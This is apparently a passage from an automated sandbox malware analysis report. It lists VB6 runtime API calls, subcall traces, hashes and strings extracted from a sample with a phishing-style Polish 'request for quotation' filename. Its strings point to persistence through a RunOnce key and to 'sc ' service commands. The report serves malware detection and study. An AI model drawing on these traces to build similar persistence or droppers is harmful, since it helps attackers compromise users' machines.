__vbaPut3.MSVBVM60(00000004,?,00000000), ref: 00425F91
__vbaI2I4.MSVBVM60 ref: 00425F95
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 00425F9E
__vbaI2I4.MSVBVM60 ref: 00425FA3
__vbaFileClose.MSVBVM60(00000000), ref: 00425FAC
__vbaI2I4.MSVBVM60 ref: 00425FB0
__vbaFileClose.MSVBVM60(00000000), ref: 00425FB3
__vbaExitProc.MSVBVM60 ref: 00425FBC
__vbaAryDestruct.MSVBVM60(00000000,?,0042604C), ref: 00426026
__vbaFreeStr.MSVBVM60 ref: 00426035
__vbaFreeStr.MSVBVM60 ref: 0042603A
__vbaFreeStr.MSVBVM60 ref: 0042603F
__vbaFreeStr.MSVBVM60 ref: 00426044
__vbaErrorOverflow.MSVBVM60 ref: 00426068

Strings

0000, xrefs: 00425C0B, 00425C27

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Free$Move$Error$File$#516#631BstrCopyPut3$#525$#593#594#648BoundsCloseGenerateGet3Get4ListOpenOwner3RedimSystem$#537#570#616#618DestructExitOverflowPreserveProcSeek
String ID: 0000
API String ID: 292954213-211534962
Opcode ID: 24d6d6b17887c0f3c917ea1074893c9453fe825b7dc9271a4a55e95ec63938c9
Instruction ID: ae26ad25c27fd2aa879063d40509198e82445ba020206e85d6646bf00855608d
Opcode Fuzzy Hash: 24d6d6b17887c0f3c917ea1074893c9453fe825b7dc9271a4a55e95ec63938c9
Instruction Fuzzy Hash: AF125871E002189FDB14DFE4DD88AEEBBB5FB48301F10412AE506B72A0EB745985CF69

Function 00422050 Relevance: 143.9, APIs: 81, Strings: 1, Instructions: 403COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,00000000,Function_000032B6), ref: 0042206E
__vbaStrCopy.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0042209B
__vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,Function_000032B6), ref: 004220AA
__vbaStrCat.MSVBVM60(00408794,?,?,00000000,?,00000000,Function_000032B6), ref: 004220C0
__vbaStrMove.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 004220CB

Part of subcall function 00415AF0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
Part of subcall function 00415AF0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E
Part of subcall function 00415AF0: #580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
Part of subcall function 00415AF0: #529.MSVBVM60(00004008), ref: 00415B88

__vbaFreeStr.MSVBVM60(?,?,00000000,?,00000000,Function_000032B6), ref: 004220DD
__vbaStrCat.MSVBVM60(00408794,?,?,00000000,?,00000000,Function_000032B6), ref: 004220F3
__vbaStrMove.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 004220FE

Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60(6D076537,00000000,00000000), ref: 00425A0A
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A12
Part of subcall function 004259A0: __vbaOnError.MSVBVM60(00000001), ref: 00425A16
Part of subcall function 004259A0: #648.MSVBVM60(0000000A), ref: 00425A2E
Part of subcall function 004259A0: __vbaFreeVar.MSVBVM60 ref: 00425A3D
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60(?), ref: 00425A4F
Part of subcall function 004259A0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00425A59
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425A61
Part of subcall function 004259A0: #570.MSVBVM60(00000000), ref: 00425A64
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425A74
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A93
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60(?), ref: 00425AA9
Part of subcall function 004259A0: __vbaFreeStr.MSVBVM60 ref: 00425AAE
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425AC2
Part of subcall function 004259A0: #525.MSVBVM60(00000000), ref: 00425AC9
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60 ref: 00425AD4
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425AD9
Part of subcall function 004259A0: __vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 00425AE3

__vbaFreeStr.MSVBVM60(00000000,00000000,?,00000000,?,00000000,Function_000032B6), ref: 0042211F
__vbaStrCat.MSVBVM60(00408794,00000006,00000006,?,00000000,?,00000000,Function_000032B6), ref: 00422144
__vbaStrMove.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0042214F
#580.MSVBVM60(00000000,?,00000000,?,00000000,Function_000032B6), ref: 00422156
__vbaFreeStr.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0042215F
#598.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0042216C
__vbaNew2.MSVBVM60(004049C0,0042C060,0042C0F0,?,00000000,?,00000000,Function_000032B6), ref: 0042219D
__vbaObjSet.MSVBVM60(?,00000000), ref: 004221D7
__vbaObjSet.MSVBVM60(?,?), ref: 004221F8
__vbaFreeObjList.MSVBVM60(00000002,?,00000000,0042C0F0,00000000,?,00000020), ref: 0042221E
#598.MSVBVM60(?,00000000,Function_000032B6), ref: 0042222E
__vbaSetSystemError.MSVBVM60(?,00000000,Function_000032B6), ref: 00422250
__vbaStrCat.MSVBVM60(00408794,?,00000000,?,00000000,Function_000032B6), ref: 0042226C
__vbaStrMove.MSVBVM60(?,00000000,Function_000032B6), ref: 00422277
__vbaFreeStr.MSVBVM60(00000000,?,00000000,Function_000032B6), ref: 00422286
#598.MSVBVM60(?,00000000,Function_000032B6), ref: 00422293
#648.MSVBVM60(0000000A), ref: 004222B2
__vbaFreeVar.MSVBVM60 ref: 004222C1
__vbaStrCat.MSVBVM60(00408794,?), ref: 004222D7
__vbaFreeStr.MSVBVM60(004226E7), ref: 004226D7
__vbaFreeStr.MSVBVM60 ref: 004226E0

Strings

5, xrefs: 00422686

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Free$Move$CopyError$#598$#580#648BstrChkstk$#525#529#570FileGet4ListNew2OpenSystem
String ID: 5
API String ID: 3012955283-2226203566
Opcode ID: b38d2dec9a9c5a407f4ed27c153f55b07beb21e57233ec5c09002560f545ea4e
Instruction ID: 514902ae826528d268cef2b3f75eb0ca97d7031ef370423ce81c1c411bdef8a6
Opcode Fuzzy Hash: b38d2dec9a9c5a407f4ed27c153f55b07beb21e57233ec5c09002560f545ea4e
Instruction Fuzzy Hash: AD02D675900258EFDB04DFA0EE48BEEBB75FF48305F108169E502B72A0DBB45A45DB68

Function 0040C100 Relevance: 122.9, APIs: 65, Strings: 5, Instructions: 383COMMON

Download Yara Rule

APIs

#600.MSVBVM60(?,00000002), ref: 0040C111
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 0040C12B
__vbaFreeVar.MSVBVM60 ref: 0040C137
#580.MSVBVM60(00000000,00000027), ref: 0040CA1A
__vbaStrCat.MSVBVM60( RO,00000000), ref: 0040CA32
__vbaStrMove.MSVBVM60 ref: 0040CA3D
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000), ref: 0040CA57
__vbaStrMove.MSVBVM60 ref: 0040CA62

Part of subcall function 0042A090: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CA73,80000002,00000000), ref: 0042A0AE
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0DB
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0E7
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0F3
Part of subcall function 0042A090: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042A102
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 0042A11B
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,00000000,004032B6), ref: 0042A12B
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A139
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A142
Part of subcall function 0042A090: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 0042A153
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,00000000,004032B6), ref: 0042A162
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(00000001,?,00000000,00000001,00000000,?,?,?,00000000,004032B6), ref: 0042A175
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 0042A185
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A193
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A1A1
Part of subcall function 0042A090: __vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,00000000,004032B6), ref: 0042A1B1
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(?,?,00000000,004032B6), ref: 0042A1CA
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(0042A207,?,00000000,004032B6), ref: 0042A1EE
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,00000000,004032B6), ref: 0042A1F7

__vbaFreeStrList.MSVBVM60(00000002,?,?,80000002,00000000), ref: 0040CA7D
__vbaStrCat.MSVBVM60( RO,00000000), ref: 0040CA99
__vbaStrMove.MSVBVM60 ref: 0040CAA4
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000), ref: 0040CABD
__vbaStrMove.MSVBVM60 ref: 0040CAC8
__vbaFreeStrList.MSVBVM60(00000002,?,?,80000002,00000000), ref: 0040CAE3

Part of subcall function 004296C0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CAFD,0042C0D4), ref: 004296DE
Part of subcall function 004296C0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042970E
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429723
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 0042973D
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(00000000,?,?,?,00000000,004032B6), ref: 00429744
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042974F
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(explorer.exe, ,00000000,?,?,?,00000000,004032B6), ref: 00429761
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042976C
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429779
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429784
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429792
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 004297A0
Part of subcall function 004296C0: __vbaFreeStrList.MSVBVM60(00000007,?,?,?,00000000,?,?,?,00000000,?,?,?,?,00000000), ref: 004297D9

Part of subcall function 004228E0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CB10,00000000,0042C0D4), ref: 004228FE
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042292B
Part of subcall function 004228E0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042293A
Part of subcall function 004228E0: #648.MSVBVM60(0000000A), ref: 00422959
Part of subcall function 004228E0: __vbaFreeVar.MSVBVM60 ref: 00422968
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60(?), ref: 0042297C
Part of subcall function 004228E0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0042298A
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 0042299A
Part of subcall function 004228E0: #570.MSVBVM60(00000000), ref: 004229A1
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229AE
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229E5
Part of subcall function 004228E0: #525.MSVBVM60(00000000), ref: 004229EC
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60 ref: 004229F7
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A07
Part of subcall function 004228E0: __vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00422A12
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A22
Part of subcall function 004228E0: __vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00422A2F
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(?), ref: 00422A4A
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60 ref: 00422A68
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(00000003), ref: 00422A79
Part of subcall function 004228E0: #616.MSVBVM60(00000000), ref: 00422A80

#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0F4,00000000,0042C0D4), ref: 0040CB52
__vbaStrCat.MSVBVM60( MR,00000000,0042C110,0042C114,0042C118,00000000,0042C0D4), ref: 0040CB7A
__vbaStrMove.MSVBVM60 ref: 0040CB85
__vbaFreeStr.MSVBVM60(00000000), ref: 0040CB94
__vbaStrCopy.MSVBVM60(80000002,00000000,00000000,80000002,00000000,00000000), ref: 0040CBE5
__vbaStrMove.MSVBVM60(?), ref: 0040CBF9
__vbaStrCopy.MSVBVM60 ref: 0040CC06
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CC16
__vbaStrCopy.MSVBVM60 ref: 0040CC2E
__vbaStrMove.MSVBVM60(?), ref: 0040CC42
__vbaStrCopy.MSVBVM60 ref: 0040CC4F
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CC5F
__vbaStrCopy.MSVBVM60 ref: 0040CC77
__vbaStrMove.MSVBVM60(?), ref: 0040CC8B
__vbaStrCopy.MSVBVM60 ref: 0040CC98
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CCA8
__vbaStrCopy.MSVBVM60 ref: 0040CCC0
__vbaStrMove.MSVBVM60(?), ref: 0040CCD4

Part of subcall function 00415AF0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
Part of subcall function 00415AF0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E
Part of subcall function 00415AF0: #580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
Part of subcall function 00415AF0: #529.MSVBVM60(00004008), ref: 00415B88

Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60(6D076537,00000000,00000000), ref: 00425A0A
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A12
Part of subcall function 004259A0: __vbaOnError.MSVBVM60(00000001), ref: 00425A16
Part of subcall function 004259A0: #648.MSVBVM60(0000000A), ref: 00425A2E
Part of subcall function 004259A0: __vbaFreeVar.MSVBVM60 ref: 00425A3D
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60(?), ref: 00425A4F
Part of subcall function 004259A0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00425A59
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425A61
Part of subcall function 004259A0: #570.MSVBVM60(00000000), ref: 00425A64
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425A74
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A93
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60(?), ref: 00425AA9
Part of subcall function 004259A0: __vbaFreeStr.MSVBVM60 ref: 00425AAE
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425AC2
Part of subcall function 004259A0: #525.MSVBVM60(00000000), ref: 00425AC9
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60 ref: 00425AD4
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425AD9
Part of subcall function 004259A0: __vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 00425AE3

__vbaStrCopy.MSVBVM60 ref: 0040CCE1
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CCF1
__vbaStrCopy.MSVBVM60 ref: 0040CD09
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040CD1B
__vbaStrMove.MSVBVM60 ref: 0040CD26

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?,00000000), ref: 0040CD3B
__vbaStrCat.MSVBVM60(00000000), ref: 0040CD42
__vbaStrMove.MSVBVM60 ref: 0040CD4D
__vbaStrCopy.MSVBVM60 ref: 0040CD5A
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040CD72
__vbaStrCopy.MSVBVM60 ref: 0040CD8A
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040CD9C
__vbaStrMove.MSVBVM60 ref: 0040CDA7

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrMove.MSVBVM60(?,00000000), ref: 0040CDBC
__vbaStrCat.MSVBVM60(00000000), ref: 0040CDC3
__vbaStrMove.MSVBVM60 ref: 0040CDCE
__vbaStrCopy.MSVBVM60 ref: 0040CDDB
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040CDF3
__vbaStrCat.MSVBVM60(at.,00000000), ref: 0040CE0F
__vbaStrMove.MSVBVM60 ref: 0040CE1A
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040CE28
__vbaStrMove.MSVBVM60 ref: 0040CE33
__vbaStrCopy.MSVBVM60 ref: 0040CE40
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CE50
__vbaStrCopy.MSVBVM60 ref: 0040CE68

Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 0041189C
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(004118D5), ref: 004118CE

__vbaStrMove.MSVBVM60(?), ref: 0040CE7C
__vbaStrCopy.MSVBVM60 ref: 0040CE89
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CE99

Part of subcall function 00411F00: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CEB3,0042C160), ref: 00411F1E
Part of subcall function 00411F00: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00411F4E
Part of subcall function 00411F00: __vbaStrMove.MSVBVM60(0040CEB3,?,?,?,00000000,004032B6), ref: 00411F69
Part of subcall function 00411F00: __vbaStrMove.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00411F7D
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00411F86
Part of subcall function 00411F00: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00411F97
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?,004156AF), ref: 0041565A
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?), ref: 00415667
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?), ref: 00415674
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?), ref: 00415681
Part of subcall function 00411F00: __vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041568D
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60 ref: 00415696
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60 ref: 0041569F
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60 ref: 004156A8

__vbaObjSet.MSVBVM60(?,00000000), ref: 0040CEE1
__vbaHresultCheckObj.MSVBVM60(00000000,?,00407978,0000005C), ref: 0040CF27
__vbaFreeObj.MSVBVM60 ref: 0040CF42
__vbaFreeStr.MSVBVM60(0040CFB1), ref: 0040CFA1
__vbaFreeStr.MSVBVM60 ref: 0040CFAA

Part of subcall function 004115D0: __vbaErase.MSVBVM60(004065BC,0042C078,0000000A,-00000061,6CF8DF85), ref: 00411B74
Part of subcall function 004115D0: __vbaRedim.MSVBVM60(00000000,00000024,0042C078,004065BC,00000001,00000003,00000001), ref: 00411B97
Part of subcall function 004115D0: __vbaAryLock.MSVBVM60(?,00000000), ref: 00411BAA
Part of subcall function 004115D0: __vbaGenerateBoundsError.MSVBVM60 ref: 00411BCE
Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 00411BFE
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?), ref: 00411C14
Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 00411C1A
Part of subcall function 004115D0: __vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00411C2C
Part of subcall function 004115D0: __vbaAryUnlock.MSVBVM60(?), ref: 00411C3E
Part of subcall function 004115D0: __vbaAryLock.MSVBVM60(?,00000000), ref: 00411C4F

Strings

MR, xrefs: 0040CB75
Once, xrefs: 0040CA52, 0040CAB8
at., xrefs: 0040CE0A
system\, xrefs: 0040CD16, 0040CD97
RO, xrefs: 0040CA2D, 0040CA94

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Free$Move$Copy$List$Error$Bstr$ChkstkUnlock$#516#580#631AnsiFileSystemUnicode$#525#570#648LockOpen$#529#537#600#616BoundsCheckDestructEraseGenerateGet3Get4HresultRedimSeek
String ID: MR$ RO$Once$at.$system\
API String ID: 2909355650-3550570743
Opcode ID: 1a787a17832883457bb363a360e8e57ce220131458789b833322a31e1582a5d4
Instruction ID: 5352e845ad87aaf5050473855ece2fd4f397f64d24d7448873b9de5ca92ad3b4
Opcode Fuzzy Hash: 1a787a17832883457bb363a360e8e57ce220131458789b833322a31e1582a5d4
Instruction Fuzzy Hash: E0F14F71A00248EFDB04EFA0EE89AEE7775EF48304F108169F606B72A1DB745A45CF59

Function 0041EB20 Relevance: 112.4, APIs: 61, Strings: 3, Instructions: 355COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041EB3E
__vbaOnError.MSVBVM60(00000001,?,?,?,00000000,Function_000032B6), ref: 0041EB6E
__vbaSetSystemError.MSVBVM60(00000005,00000000,00000002,?,?), ref: 0041EBB0
__vbaSetSystemError.MSVBVM60(00000040,00004000), ref: 0041EBE8
__vbaSetSystemError.MSVBVM60(?,FFFFFFFF,?,00004000), ref: 0041EC19
__vbaSetSystemError.MSVBVM60(?,?,00000020), ref: 0041ECA0

Part of subcall function 0041F150: __vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041F16E
Part of subcall function 0041F150: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041F19E
Part of subcall function 0041F150: #537.MSVBVM60(00000000,?,?,?,00000000,Function_000032B6), ref: 0041F1AD
Part of subcall function 0041F150: #606.MSVBVM60(000000FF,00000008), ref: 0041F1C6
Part of subcall function 0041F150: __vbaStrMove.MSVBVM60 ref: 0041F1D1
Part of subcall function 0041F150: __vbaFreeVar.MSVBVM60 ref: 0041F1DA
Part of subcall function 0041F150: __vbaStrToAnsi.MSVBVM60(?,?), ref: 0041F1F5
Part of subcall function 0041F150: __vbaSetSystemError.MSVBVM60(00000000), ref: 0041F201
Part of subcall function 0041F150: __vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F20F
Part of subcall function 0041F150: __vbaFreeStr.MSVBVM60 ref: 0041F218
Part of subcall function 0041F150: #537.MSVBVM60(00000000,?,00000001), ref: 0041F22D
Part of subcall function 0041F150: __vbaStrMove.MSVBVM60 ref: 0041F238
Part of subcall function 0041F150: __vbaInStr.MSVBVM60(00000000,00000000), ref: 0041F241
Part of subcall function 0041F150: #616.MSVBVM60(?,-00000001), ref: 0041F251
Part of subcall function 0041F150: __vbaStrMove.MSVBVM60 ref: 0041F25C
Part of subcall function 0041F150: __vbaFreeStr.MSVBVM60 ref: 0041F265
Part of subcall function 0041F150: __vbaFreeStr.MSVBVM60(0041F2A2), ref: 0041F29B

__vbaStrMove.MSVBVM60(?), ref: 0041ECBB
__vbaStrCmp.MSVBVM60(00408114,?), ref: 0041ECD1
__vbaStrCat.MSVBVM60(00000000,00409A70,?), ref: 0041ECF1
__vbaStrMove.MSVBVM60 ref: 0041ECFC
__vbaStrCmp.MSVBVM60(00000000), ref: 0041ED03
__vbaFreeStr.MSVBVM60 ref: 0041ED1E
__vbaStrCat.MSVBVM60(?,sc ), ref: 0041ED43
__vbaStrMove.MSVBVM60 ref: 0041ED4E
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041ED5C
#600.MSVBVM60(00000008,00000000), ref: 0041ED7B
__vbaFreeStr.MSVBVM60 ref: 0041ED8A
__vbaFreeVar.MSVBVM60 ref: 0041ED96
__vbaStrCat.MSVBVM60(?,sc ), ref: 0041EDAC
__vbaStrMove.MSVBVM60 ref: 0041EDB7
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EDC5
